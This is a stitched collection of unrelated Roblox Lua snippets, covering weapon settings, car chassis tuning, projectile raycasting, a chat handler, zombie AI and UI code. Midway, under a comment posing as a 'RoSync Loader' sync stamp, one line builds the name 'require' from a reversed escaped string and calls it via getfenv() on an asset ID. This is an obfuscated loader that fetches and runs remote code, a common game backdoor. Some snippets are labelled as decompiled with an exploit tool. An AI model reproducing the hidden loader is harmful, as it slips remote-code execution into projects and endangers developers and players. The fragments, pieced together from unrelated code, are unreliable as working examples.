,FastReload = true --- Automatically operates the bolt on reload if needed ,SlideLock = true ,MoveBolt = false ,BoltLock = false ,CanBreachDoor = false ,CanBreak = true --- Weapon can jam? ,JamChance = 1000 --- This old piece of brick doesn't work fine >;c ,IncludeChamberedBullet = true --- Include the chambered bullet on next reload ,Chambered = false --- Start with the gun chambered? ,LauncherReady = false --- Start with the GL ready? ,CanCheckMag = true --- You can check the magazine ,ArcadeMode = false --- You can see the bullets left in magazine ,RainbowMode = false --- Operation: Party Time xD ,ModoTreino = false --- Surrender enemies instead of killing them ,GunSize = 4.5 ,GunFOVReduction = 5 ,BoltExtend = Vector3.new(0, 0, 0.4) ,SlideExtend = Vector3.new(0, 0, 0.4)
--- Main ui framework for Galactic Conquest by Plasma_Node. --- Primary currently stored at: 333 framework testing
local Resources = script.Resources; Nim.Elements = require(script.Elements); local Elements = Nim.Elements;
--[[ ROBLOX deviation: ommiting ConditionalTest and config imports original code: export { isJestJasmineRun, skipSuiteOnJasmine, skipSuiteOnJestCircus, onNodeVersions, } from './ConditionalTest'; export {makeGlobalConfig, makeProjectConfig} from './config'; ]]
return { alignedAnsiStyleSerializer = alignedAnsiStyleSerializer, makeGlobalConfig = configModule.makeGlobalConfig, makeProjectConfig = configModule.makeProjectConfig, }
-- SERVICES --
local RS = game:GetService("ReplicatedStorage") local TS = game:GetService("TweenService")
-- / Round Assets / --
local RoundAssets = game.ServerStorage.RoundAssets
-- The name of the folder containing the 3D GUI elements for visualizing casts in debug mode.
local FC_VIS_OBJ_NAME = "FastCastVisualizationObjects"
--[[ if not service.UserInputService.KeyboardEnabled then warn("User is on mobile :: CustomChat Disabled") chatenabled = true drag.Visible = false service.StarterGui:SetCoreGuiEnabled('Chat',true) end --]]
client.Handlers.RemoveCustomChat = function() local chat = gui if chat then chat:Destroy() client.Variables.ChatEnabled = true service.StarterGui:SetCoreGuiEnabled('Chat', true) end end client.Handlers.ChatHandler = function(plr, message, mode) if not message then return end if string.sub(message, 1, 2) == '/e' then return end if gui then local player if plr and type(plr) == "userdata" then player = plr else player = { Name = tostring(plr or "System"), TeamColor = BrickColor.White() } end if #message > 150 then message = string.sub(message, 1, 150).."..." end if mode then if mode == "Private" or mode == "System" then table.insert(storedChats, { Color = player.TeamColor or BrickColor.White(), Player = player.Name, Message = message, Mode = "Global", Private = true }) table.insert(storedChats, { Color = player.TeamColor or BrickColor.White(), Player = player.Name, Message = message, Mode = "Team", Private = true }) table.insert(storedChats, { Color = player.TeamColor or BrickColor.White(), Player = player.Name, Message = message, Mode = "Local", Private = true }) table.insert(storedChats, { Color = player.TeamColor or BrickColor.White(), Player = player.Name, Message = message, Mode = "Admins", Private = true }) table.insert(storedChats, { Color = player.TeamColor or BrickColor.White(), Player = player.Name, Message = message, Mode = "Cross", Private = true }) else local plr = player.Name table.insert(storedChats, { Color = player.TeamColor or BrickColor.White(), Player = plr, Message = message, Mode = mode }) end else local plr = player.Name table.insert(storedChats, { Color = player.TeamColor or BrickColor.White(), Player = plr, Message = message, Mode = "Global" }) end if mode == "Local" then if not localTab.Visible then localb.Text = "Local*" end elseif mode == "Team" then if not teamTab.Visible then team.Text = "Team*" end elseif mode == "Admins" then if not adminsTab.Visible then admins.Text = "Admins*" end elseif mode == "Cross" then if not crossTab.Visible then cross.Text = "Cross*" end else if not globalTab.Visible then global.Text = "Global*" end end if #storedChats >= 50 then table.remove(storedChats, 1) end UpdateChat() if not nohide then if player and type(player) == "userdata" then local char = player.Character local head = char:FindFirstChild("Head") if head then local cont = service.LocalContainer():FindFirstChild(player.Name.."Bubbles") if not cont then cont = Instance.new("BillboardGui", service.LocalContainer()) cont.Name = player.Name.."Bubbles" cont.StudsOffset = Vector3.new(0, 2, 0) cont.SizeOffset = Vector2.new(0, 0.5) cont.Size = UDim2.new(0, 200, 0, 150) end cont.Adornee = head local clone = bubble:Clone() clone.TextLabel.Text = message clone.Parent = cont local xsize = clone.TextLabel.TextBounds.X + 40 if xsize > 400 then xsize = 400 end clone.Size = UDim2.new(0, xsize, 0, 50) if #cont:GetChildren() > 3 then cont:GetChildren()[1]:Destroy() end for i, v in pairs(cont:GetChildren()) do local xsize = v.TextLabel.TextBounds.X + 40 if xsize > 400 then xsize = 400 end v.Position = UDim2.new(0.5, -xsize / 2, 1, -(math.abs((i - 1) - #cont:GetChildren()) * 50)) end local cam = workspace.CurrentCamera local char = player.Character local head = char:FindFirstChild("Head") Routine(function() repeat if not head then break end local dist = (head.Position - cam.CFrame.p).Magnitude if dist <= 50 then clone.Visible = true else clone.Visible = false end wait(0.1) until not clone.Parent or not clone or not head or not head.Parent or not char end) wait(10) if clone then clone:Destroy() end end end end end end local textbox = service.UserInputService:GetFocusedTextBox() if textbox then textbox:ReleaseFocus() end end
--[[ Direction.Changed:connect(function() if Direction.Value == "U" then wait(1) Control.Car.Platform.GoingUp:Play() return end if Direction.Value == "D" then wait(1) Control.Car.Platform.GoingDown:Play() return end end) ]]
-- Floor.Changed:connect(FloorControl) FloorControl()
--[=[ @param observer (any) -> nil @return Connection Observes the value of the property. The observer will be called right when the value is first ready, and every time the value changes. This is safe to call immediately (i.e. no need to use `IsReady` or `OnReady` before using this method). Observing is essentially listening to `Changed`, but also sends the initial value right away (or at least once `OnReady` is completed). ```lua local function ObserveValue(value) print(value) end clientRemoteProperty:Observe(ObserveValue) ``` ]=]
function ClientRemoteProperty:Observe(observer: (any) -> ()) if self._ready then task.defer(observer, self._value) end return self.Changed:Connect(observer) end
-- Customization
AntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. (To damage NPC, this needs to be false) MouseSense = 0.5; CanAim = false; -- Allows player to aim CanBolt = true; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series) LaserAttached = true; LightAttached = true; TracerEnabled = true; SprintSpeed = 20; CanCallout = false; SuppressCalloutChance = 0;
---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---- Actions
local actionButtons do actionButtons = {} local totalActions = 1 local currentActions = totalActions local function makeButton(icon,over,name,vis,cond) local buttonEnabled = false local button = Create(Icon('ImageButton',icon),{ Name = name .. "Button"; Visible = Option.Modifiable and Option.Selectable; Position = UDim2.new(1,-(GUI_SIZE+2)*currentActions+2,0.25,-GUI_SIZE/2); Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE); Parent = headerFrame; }) local tipText = Create('TextLabel',{ Name = name .. "Text"; Text = name; Visible = false; BackgroundTransparency = 1; TextXAlignment = 'Right'; Font = FONT; FontSize = FONT_SIZE; Position = UDim2.new(0,0,0,0); Size = UDim2.new(1,-(GUI_SIZE+2)*totalActions,1,0); Parent = headerFrame; }) button.MouseEnter:connect(function() if buttonEnabled then button.BackgroundTransparency = 0.9 end --Icon(button,over) --tipText.Visible = true end) button.MouseLeave:connect(function() button.BackgroundTransparency = 1 --Icon(button,icon) --tipText.Visible = false end) currentActions = currentActions + 1 actionButtons[#actionButtons+1] = {Obj = button,Cond = cond} QuickButtons[#actionButtons+1] = {Obj = button,Cond = cond, Toggle = function(on) if on then buttonEnabled = true Icon(button,over) else buttonEnabled = false Icon(button,icon) end end} return button end --local clipboard = {} local function delete(o) o.Parent = nil end makeButton(ACTION_EDITQUICKACCESS,ACTION_EDITQUICKACCESS,"Options",true,function()return true end).MouseButton1Click:connect(function() end) -- DELETE makeButton(ACTION_DELETE,ACTION_DELETE_OVER,"Delete",true,function() return #Selection:Get() > 0 end).MouseButton1Click:connect(function() if not Option.Modifiable then return end local list = Selection:Get() for i = 1,#list do pcall(delete,list[i]) end Selection:Set({}) end) -- PASTE makeButton(ACTION_PASTE,ACTION_PASTE_OVER,"Paste",true,function() return #Selection:Get() > 0 and #clipboard > 0 end).MouseButton1Click:connect(function() if not Option.Modifiable then return end local parent = Selection.List[1] or workspace for i = 1,#clipboard do clipboard[i]:Clone().Parent = parent end end) -- COPY makeButton(ACTION_COPY,ACTION_COPY_OVER,"Copy",true,function() return #Selection:Get() > 0 end).MouseButton1Click:connect(function() if not Option.Modifiable then return end clipboard = {} local list = Selection.List for i = 1,#list do table.insert(clipboard,list[i]:Clone()) end updateActions() end) -- CUT makeButton(ACTION_CUT,ACTION_CUT_OVER,"Cut",true,function() return #Selection:Get() > 0 end).MouseButton1Click:connect(function() if not Option.Modifiable then return end clipboard = {} local list = Selection.List local cut = {} for i = 1,#list do local obj = list[i]:Clone() if obj then table.insert(clipboard,obj) table.insert(cut,list[i]) end end for i = 1,#cut do pcall(delete,cut[i]) end updateActions() end) -- FREEZE makeButton(ACTION_FREEZE,ACTION_FREEZE,"Freeze",true,function() return true end) -- ADD/REMOVE STARRED makeButton(ACTION_ADDSTAR,ACTION_ADDSTAR_OVER,"Star",true,function() return #Selection:Get() > 0 end) -- STARRED makeButton(ACTION_STARRED,ACTION_STARRED,"Starred",true,function() return true end) -- SORT -- local actionSort = makeButton(ACTION_SORT,ACTION_SORT_OVER,"Sort") end
-- Title: Weld script 2.2 -- Date: September 6th 2014 -- Author: Zephyred -- -- Release notes: -- * The root instance will be welded too if it's a part -- * Increased flexibility, each call now creates it's own list of welds so you have more control over it. -- ----------------------------
local P = script.Parent
--]]
function getHumanoid(model) for _, v in pairs(model:GetChildren()) do if v:IsA'Humanoid' then return v end end end local zombie = script.Parent local human = getHumanoid(zombie) local hroot = zombie.HumanoidRootPart local zspeed = hroot.Velocity.magnitude local pfs = game:GetService("PathfindingService") function GetPlayerNames() local players = game:GetService('Players'):GetChildren() local name = nil for _, v in pairs(players) do if v:IsA'Player' then name = tostring(v.Name) end end return name end function GetPlayersbodyParts(t) local body = t if body then local figure = body.Parent for _, v in pairs(figure:GetChildren()) do if v:IsA'Part' then return v.Name end end else return "HumanoidRootPart" end end function Getbody(part) local chars = game.Workspace:GetChildren() local body = nil for _, v in pairs(chars) do if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then local charRoot = v:FindFirstChild'HumanoidRootPart' if (charRoot.Position - part).magnitude < SearchDistance then body = charRoot end end end return body end for _, zambieparts in pairs(zombie:GetChildren()) do if zambieparts:IsA'Part' then zambieparts.Touched:connect(function(p) if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= zombie.Name then -- damage local enemy = p.Parent local enemyhuman = getHumanoid(enemy) enemyhuman:TakeDamage(ZombieDamage) end end) end end
--[[Drivetrain]]
Tune.Config = "AWD" --"FWD" , "RWD" , "AWD" Tune.TorqueVector = 0.5 --AWD ONLY, "-1" has a 100% front bias, "0" has a 50:50 bias, and "1" has a 100% rear bias. Can be any number between that range. --Differential Settings Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 80 -- 1 - 100% Tune.RDiffLockThres = 20 -- 0 - 100% Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only] --Traction Control Settings Tune.TCSEnabled = true -- Implements TCS Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
-- зачем?
local larm = script.Parent:FindFirstChild("Left Arm") -- левая рука local rarm = script.Parent:FindFirstChild("Right Arm") -- правая рука function findNearestTorso(pos) -- поиск гуманоида от указанной позиции local list = game.Workspace:children() -- ВСЕ наследники игрового пространства local torso = nil -- найденный БЛИЖАЙШИЙ гуманоид local dist = vDist -- минимальная дистанция local temp = nil -- а я буду искать по голове! Она есть и у старых и у новых моделей local human = nil -- временное хранение очередного гуманоида local temp2 = nil -- временное хранение модельки из списка for x = 1, #list do -- перебор дочек всего списка temp2 = list[x] -- сохраняем очередную дочку if (temp2.className == "Model") and (temp2 ~= script.Parent) then -- Это модель и не та где скрипт temp = temp2:findFirstChild("Head") -- ищем голову (она есть у всех) human = temp2:findFirstChild("Humanoid") -- ищем гуманоида if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then -- нашли, да ещё и живое if (temp.Position - pos).magnitude < dist then -- проверяем расстояние, что оно ближе torso = temp -- сохраняем новый объект dist = (temp.Position - pos).magnitude -- и новое расстояние end end end end return torso -- возвращаем объект, если он был найден или nil end
-- value damper with separate response frequencies for rising and falling values
local VariableEdgeSpring = {} do VariableEdgeSpring.__index = VariableEdgeSpring function VariableEdgeSpring.new(fRising, fFalling, position) return setmetatable({ fRising = fRising, fFalling = fFalling, g = position, p = position, v = position*0, }, VariableEdgeSpring) end function VariableEdgeSpring:step(dt) local fRising = self.fRising local fFalling = self.fFalling local g = self.g local p0 = self.p local v0 = self.v local f = 2*math.pi*(v0 > 0 and fRising or fFalling) local offset = p0 - g local decay = math.exp(-f*dt) local p1 = (offset*(1 + f*dt) + v0*dt)*decay + g local v1 = (v0*(1 - f*dt) - offset*(f*f*dt))*decay self.p = p1 self.v = v1 return p1 end end
-- Ctor
function ActiveCastStatic.new(caster: Caster, origin: Vector3, direction: Vector3, velocity: Vector3 | number, castDataPacket: FastCastBehavior): ActiveCast if typeof(velocity) == "number" then velocity = direction.Unit * velocity end if (castDataPacket.HighFidelitySegmentSize <= 0) then error("Cannot set FastCastBehavior.HighFidelitySegmentSize <= 0!", 0) end -- Basic setup local cast = { Caster = caster, -- Data that keeps track of what's going on as well as edits we might make during runtime. StateInfo = { UpdateConnection = nil, Paused = false, TotalRuntime = 0, DistanceCovered = 0, HighFidelitySegmentSize = castDataPacket.HighFidelitySegmentSize, HighFidelityBehavior = castDataPacket.HighFidelityBehavior, IsActivelySimulatingPierce = false, IsActivelyResimulating = false, CancelHighResCast = false, Trajectories = { { StartTime = 0, EndTime = -1, Origin = origin, InitialVelocity = velocity, Acceleration = castDataPacket.Acceleration } } }, -- Information pertaining to actual raycasting. RayInfo = { Parameters = castDataPacket.RaycastParams, WorldRoot = workspace, MaxDistance = castDataPacket.MaxDistance or 1000, CosmeticBulletObject = castDataPacket.CosmeticBulletTemplate, -- This is intended. We clone it a smidge of the way down. CanPierceCallback = castDataPacket.CanPierceFunction }, UserData = {} } if cast.StateInfo.HighFidelityBehavior == 2 then cast.StateInfo.HighFidelityBehavior = 3 end if cast.RayInfo.Parameters ~= nil then cast.RayInfo.Parameters = CloneCastParams(cast.RayInfo.Parameters) else cast.RayInfo.Parameters = RaycastParams.new() end local usingProvider = false if castDataPacket.CosmeticBulletProvider == nil then -- The provider is nil. Use a cosmetic object clone. if cast.RayInfo.CosmeticBulletObject ~= nil then cast.RayInfo.CosmeticBulletObject = cast.RayInfo.CosmeticBulletObject:Clone() cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction) cast.RayInfo.CosmeticBulletObject.Parent = castDataPacket.CosmeticBulletContainer end else -- The provider is not nil. -- Is it what we want? if typeof(castDataPacket.CosmeticBulletProvider) == "PartCache" then -- this modded version of typeof is implemented up top. -- Aside from that, yes, it's a part cache. Good to go! if cast.RayInfo.CosmeticBulletObject ~= nil then -- They also set the template. Not good. Warn + clear this up. warn("Do not define FastCastBehavior.CosmeticBulletTemplate and FastCastBehavior.CosmeticBulletProvider at the same time! The provider will be used, and CosmeticBulletTemplate will be set to nil.") cast.RayInfo.CosmeticBulletObject = nil castDataPacket.CosmeticBulletTemplate = nil end cast.RayInfo.CosmeticBulletObject = castDataPacket.CosmeticBulletProvider:GetPart() cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction) usingProvider = true else warn("FastCastBehavior.CosmeticBulletProvider was not an instance of the PartCache module (an external/separate model)! Are you inputting an instance created via PartCache.new? If so, are you on the latest version of PartCache? Setting FastCastBehavior.CosmeticBulletProvider to nil.") castDataPacket.CosmeticBulletProvider = nil end end local targetContainer: Instance; if usingProvider then targetContainer = castDataPacket.CosmeticBulletProvider.CurrentCacheParent else targetContainer = castDataPacket.CosmeticBulletContainer end if castDataPacket.AutoIgnoreContainer == true and targetContainer ~= nil then local ignoreList = cast.RayInfo.Parameters.FilterDescendantsInstances if table.find(ignoreList, targetContainer) == nil then table.insert(ignoreList, targetContainer) cast.RayInfo.Parameters.FilterDescendantsInstances = ignoreList end end local event if RunService:IsClient() then event = RunService.RenderStepped else event = RunService.Heartbeat end setmetatable(cast, ActiveCastStatic) cast.StateInfo.UpdateConnection = event:Connect(function (delta) if cast.StateInfo.Paused then return end PrintDebug("Casting for frame.") local latestTrajectory = cast.StateInfo.Trajectories[#cast.StateInfo.Trajectories] if (cast.StateInfo.HighFidelityBehavior == 3 and latestTrajectory.Acceleration ~= Vector3.new() and cast.StateInfo.HighFidelitySegmentSize > 0) then local timeAtStart = tick() if cast.StateInfo.IsActivelyResimulating then cast:Terminate() error("Cascading cast lag encountered! The caster attempted to perform a high fidelity cast before the previous one completed, resulting in exponential cast lag. Consider increasing HighFidelitySegmentSize.") end cast.StateInfo.IsActivelyResimulating = true -- Actually want to calculate this early to find displacement local origin = latestTrajectory.Origin local totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime local initialVelocity = latestTrajectory.InitialVelocity local acceleration = latestTrajectory.Acceleration local lastPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration) local lastVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration) local lastDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime cast.StateInfo.TotalRuntime += delta -- Recalculate this. totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime local currentPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration) local currentVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration) local totalDisplacement = currentPoint - lastPoint -- This is the displacement from where the ray was on the last from to where the ray is now. local rayDir = totalDisplacement.Unit * currentVelocity.Magnitude * delta local targetWorldRoot = cast.RayInfo.WorldRoot local function castFunction(lastPoint, rayDir, params) local resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, params) if resultOfCast then local hitInstance = resultOfCast.Instance if hitInstance.Parent:IsA("Accoutrement") then table.insert(params.FilterDescendantsInstances, hitInstance) resultOfCast = nil end if hitInstance.CanCollide == false then table.insert(params.FilterDescendantsInstances, hitInstance) resultOfCast = nil end if hitInstance.CanCollide == false and hitInstance.Transparency > 0.2 then table.insert(params.FilterDescendantsInstances, hitInstance) resultOfCast = nil end end return resultOfCast end local resultOfCast = castFunction(lastPoint, rayDir, cast.RayInfo.Parameters) local point = currentPoint if (resultOfCast ~= nil) then point = resultOfCast.Position end local rayDisplacement = (point - lastPoint).Magnitude -- Now undo this. The line below in the for loop will add this time back gradually. cast.StateInfo.TotalRuntime -= delta -- And now that we have displacement, we can calculate segment size. local numSegmentsDecimal = rayDisplacement / cast.StateInfo.HighFidelitySegmentSize -- say rayDisplacement is 5.1, segment size is 0.5 -- 10.2 segments local numSegmentsReal = math.floor(numSegmentsDecimal) -- 10 segments + 0.2 extra segments if (numSegmentsReal == 0) then numSegmentsReal = 1 end local timeIncrement = delta / numSegmentsReal for segmentIndex = 1, numSegmentsReal do if getmetatable(cast) == nil then return end -- Could have been disposed. if cast.StateInfo.CancelHighResCast then cast.StateInfo.CancelHighResCast = false break end PrintDebug("[" .. segmentIndex .. "] Subcast of time increment " .. timeIncrement) SimulateCast(cast, timeIncrement, true) end if getmetatable(cast) == nil then return end -- Could have been disposed. cast.StateInfo.IsActivelyResimulating = false if (tick() - timeAtStart) > 0.016 * 5 then warn("Extreme cast lag encountered! Consider increasing HighFidelitySegmentSize.") end else SimulateCast(cast, delta, false) end end) return cast end function ActiveCastStatic.SetStaticFastCastReference(ref) FastCast = ref end
---------------------------------------------------------------------------------------------------- --------------------=[ OUTROS ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,FastReload = true --- Automatically operates the bolt on reload if needed ,SlideLock = false ,MoveBolt = false ,BoltLock = false ,CanBreachDoor = true ,CanBreak = true --- Weapon can jam? ,JamChance = 1000 --- This old piece of brick doesn't work fine >;c ,IncludeChamberedBullet = true --- Include the chambered bullet on next reload ,Chambered = false --- Start with the gun chambered? ,LauncherReady = false --- Start with the GL ready? ,CanCheckMag = false --- You can check the magazine ,ArcadeMode = false --- You can see the bullets left in magazine ,RainbowMode = false --- Operation: Party Time xD ,ModoTreino = false --- Surrender enemies instead of killing them ,GunSize = 5 ,GunFOVReduction = 5.5 ,BoltExtend = Vector3.new(0, 0, 0.4) ,SlideExtend = Vector3.new(0, 0, 0.2)
--[[Brakes]]
Tune.ABSEnabled = false -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 1500 -- Front brake force Tune.RBrakeForce = 1000 -- Rear brake force Tune.PBrakeForce = 5000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
-- Define the jump duration
local jumpDuration = 0.1
--@Outline Araç durdurma
wait(.2) if child.Name ~= "Rev" then car.Body.MainPart.Anchored = true end end)
--[[Run]]
--Print Version local ver=require(car["A-Chassis Tune"].README) print("Novena: AC6T Loaded - Build "..ver) --Runtime Loops -- ~60 c/s game["Run Service"].Stepped:connect(function() --Steering Steering() --Power Engine() --Update External Values _IsOn = script.Parent.IsOn.Value _InControls = script.Parent.ControlsOpen.Value script.Parent.Values.Gear.Value = _CGear script.Parent.Values.RPM.Value = _RPM script.Parent.Values.Boost.Value = (_Boost/2)*_TPsi script.Parent.Values.Horsepower.Value = _HP script.Parent.Values.HpNatural.Value = _NH script.Parent.Values.HpBoosted.Value = _BH*(_Boost/2) script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM script.Parent.Values.TqNatural.Value = _NT script.Parent.Values.TqBoosted.Value = _BT*(_Boost/2) script.Parent.Values.TransmissionMode.Value = _TMode script.Parent.Values.Throttle.Value = _GThrot*_GThrotShift script.Parent.Values.Brake.Value = _GBrake script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100))) script.Parent.Values.SteerT.Value = _GSteerT script.Parent.Values.PBrake.Value = _PBrake script.Parent.Values.TCS.Value = _TCS script.Parent.Values.TCSActive.Value = _TCSActive script.Parent.Values.TCSAmt.Value = 1-_TCSAmt script.Parent.Values.ABS.Value = _ABS script.Parent.Values.ABSActive.Value = _ABSActive script.Parent.Values.MouseSteerOn.Value = _MSteer script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity end) --15 c/s while wait(.0667) do --Automatic Transmission if _TMode == "Auto" then Auto() end --Flip if _Tune.AutoFlip then Flip() end end
-- Creates a lazy object-mirror for the provided part. -- This is used to make the Head visible in first person.
function FpsCamera:AddHeadMirror(desc) if desc:IsA("BasePart") and self:IsValidPartToModify(desc) then local mirror = desc:Clone() mirror:ClearAllChildren() mirror.Locked = true mirror.Anchored = true mirror.CanCollide = false mirror.Parent = self.MirrorBin local function onChildAdded(child) local prop if child:IsA("DataModelMesh") then prop = "Scale" elseif child:IsA("Decal") then prop = "Transparency" end if prop then local copy = child:Clone() copy.Parent = mirror self:MirrorProperty(child, copy, prop) end end for _,child in pairs(desc:GetChildren()) do onChildAdded(child) end self.HeadMirrors[desc] = mirror self:MirrorProperty(desc, mirror, "Transparency") desc.ChildAdded:Connect(onChildAdded) end end
--1: It has a HumanoidRootPart --2: All parts are unanchored --3: It has a Humanoid
---------------------------------- ------------FUNCTIONS------------- ----------------------------------
letterNoteMap = "1!2@34$5%6^78*9(0qQwWeErtTyYuiIoOpPasSdDfgGhHjJklLzZxcCvVbBnm" function LetterToNote(key, shift, ctrl) local note = letterNoteMap:find(string.char(key), 1, true) if note then return note + Transposition.Value + (shift and 1 or ctrl and -1 or 0) end end function KeyDown(Object) if TextBoxFocused then return end local key = Object.KeyCode.Value if key >= 97 and key <= 122 or key >= 48 and key <= 57 then local note = LetterToNote(key, (InputService:IsKeyDown(303) or InputService:IsKeyDown(304)) ~= ShiftLock, InputService:IsKeyDown(305) or InputService:IsKeyDown(306)) if note then do local conn conn = InputService.InputEnded:connect(function(obj) if obj.KeyCode.Value == key then conn:disconnect() end end) PlayNoteClient(note) end else PlayNoteClient(note) end elseif key == 8 then Abort() elseif key == 32 then ToggleSheets() elseif key == 13 then ToggleCaps() elseif key == 274 then Transpose(-1) elseif key == 273 then Transpose(1) elseif key == 275 then VolumeChange(0.1) elseif key == 276 then VolumeChange(-0.1) end end function Input(Object) local type = Object.UserInputType.Name local state = Object.UserInputState.Name -- in case I ever add input types if type == "Keyboard" then if state == "Begin" then if FocusLost then -- this is so when enter is pressed in a textbox, it doesn't toggle caps FocusLost = false return end KeyDown(Object) end end end function TextFocus() TextBoxFocused = true end function TextUnfocus() FocusLost = true TextBoxFocused = false end
--[[ game.Players.PlayerAdded:Connect(reverseGlobalMarket) for _, player in ipairs(game.Players:GetPlayers()) do reverseGlobalMarket(player) end ]]
wait(3) for _, player in ipairs(game.Players:GetPlayers()) do player.Chatted:Connect(function(message) if message == "undo" then reverseGlobalMarket(player) end end) end
-- Time it takes to reload weapon
local ReloadTime = 2.1
-- Decompiled with the Synapse X Luau decompiler.
return require(game:GetService("ReplicatedStorage").Packages.Fusion).State();
-- Decompiled with the Synapse X Luau decompiler.
return { Name = "version", Args = {}, Description = "Shows the current version of Cmdr", Group = "DefaultDebug", Run = function() return ("Cmdr Version %s"):format("v1.9.0"); end };
--[[Dependencies]]
local player = game.Players.LocalPlayer local mouse = player:GetMouse() local UserInputService = game:GetService("UserInputService") local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"])
--[[ Component that handles the ship's windows. This object is attached to rooms, and will affect the room's state should the window become breached. ]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local CollectionService = game:GetService("CollectionService") local Constants = require(ReplicatedStorage.Source.Common.Constants) local remotesFolder = ReplicatedStorage.Remotes local CreateWindowMarker = remotesFolder.CreateWindowMarker local DestroyMarker = remotesFolder.DestroyMarker local Window = {}
--Plot Current Turbocharger Horsepower
function GetTCurve(x,gear) local hp=(math.max(CurveT(x)/(PeakCurveT/HP_T),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end
-- This will inject all types into this context.
local TypeDefs = require(script.Parent.TypeDefinitions) type CanPierceFunction = TypeDefs.CanPierceFunction type GenericTable = TypeDefs.GenericTable type Caster = TypeDefs.Caster type FastCastBehavior = TypeDefs.FastCastBehavior type CastTrajectory = TypeDefs.CastTrajectory type CastStateInfo = TypeDefs.CastStateInfo type CastRayInfo = TypeDefs.CastRayInfo type ActiveCast = TypeDefs.ActiveCast local ReplicatedStorage = game:GetService("ReplicatedStorage") local Debris = game:GetService("Debris") local ClientSettings = ReplicatedStorage:WaitForChild("ClientSettings") local typeof = require(script.Parent.TypeMarshaller)
--You can copy and paste script.Parent.BrickColor = BrickColor.new("Colorname") --You can copy and paste wait(0) on the bottom on the script
--[[ Last synced 10/14/2020 09:40 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--// Animations
local L_168_ function IdleAnim(L_341_arg1) L_24_.IdleAnim(L_3_, L_168_, { L_45_, L_46_, L_47_ }); end; function EquipAnim(L_342_arg1) L_24_.EquipAnim(L_3_, L_168_, { L_45_ }); end; function UnequipAnim(L_343_arg1) L_24_.UnequipAnim(L_3_, L_168_, { L_45_ }); end; function FireModeAnim(L_344_arg1) L_24_.FireModeAnim(L_3_, L_168_, { L_45_, L_47_, L_46_, L_58_ }); end function ReloadAnim(L_345_arg1) L_24_.ReloadAnim(L_3_, L_168_, { L_45_, L_46_, L_47_, L_61_, L_3_:WaitForChild('Left Arm'), L_58_, L_49_, L_3_:WaitForChild('Right Arm'), L_43_ }); end; function BoltingBackAnim(L_346_arg1) L_24_.BoltingBackAnim(L_3_, L_168_, { L_49_ }); end function BoltingForwardAnim(L_347_arg1) L_24_.BoltingForwardAnim(L_3_, L_168_, { L_49_ }); end function BoltingForwardAnim(L_348_arg1) L_24_.BoltingForwardAnim(L_3_, L_168_, { L_49_ }); end function BoltBackAnim(L_349_arg1) L_24_.BoltBackAnim(L_3_, L_168_, { L_49_, L_47_, L_46_, L_45_, L_62_ }); end function BoltForwardAnim(L_350_arg1) L_24_.BoltForwardAnim(L_3_, L_168_, { L_49_, L_47_, L_46_, L_45_, L_62_ }); end function InspectAnim(L_351_arg1) L_24_.InspectAnim(L_3_, L_168_, { L_47_, L_46_ }); end function nadeReload(L_352_arg1) L_24_.nadeReload(L_3_, L_168_, { L_46_, L_47_ }); end function AttachAnim(L_353_arg1) L_24_.AttachAnim(L_3_, L_168_, { L_46_, L_47_ }); end function PatrolAnim(L_354_arg1) L_24_.PatrolAnim(L_3_, L_168_, { L_46_, L_47_ }); end
-- add the arms
table.insert(armparts, character:WaitForChild("Right Arm")) table.insert(armparts, character:WaitForChild("Left Arm"))
--[[ Calling setState during certain lifecycle allowed methods has the potential to create an infinitely updating component. Rather than time out, we exit with an error if an unreasonable number of self-triggering updates occur ]]
local MAX_PENDING_UPDATES = 100 local InternalData = Symbol.named("InternalData") local componentMissingRenderMessage = [[ The component %q is missing the `render` method. `render` must be defined when creating a Roact component!]] local tooManyUpdatesMessage = [[ The component %q has reached the setState update recursion limit. When using `setState` in `didUpdate`, make sure that it won't repeat infinitely!]] local componentClassMetatable = {} function componentClassMetatable:__tostring() return self.__componentName end local Component = {} setmetatable(Component, componentClassMetatable) Component[Type] = Type.StatefulComponentClass Component.__index = Component Component.__componentName = "Component"
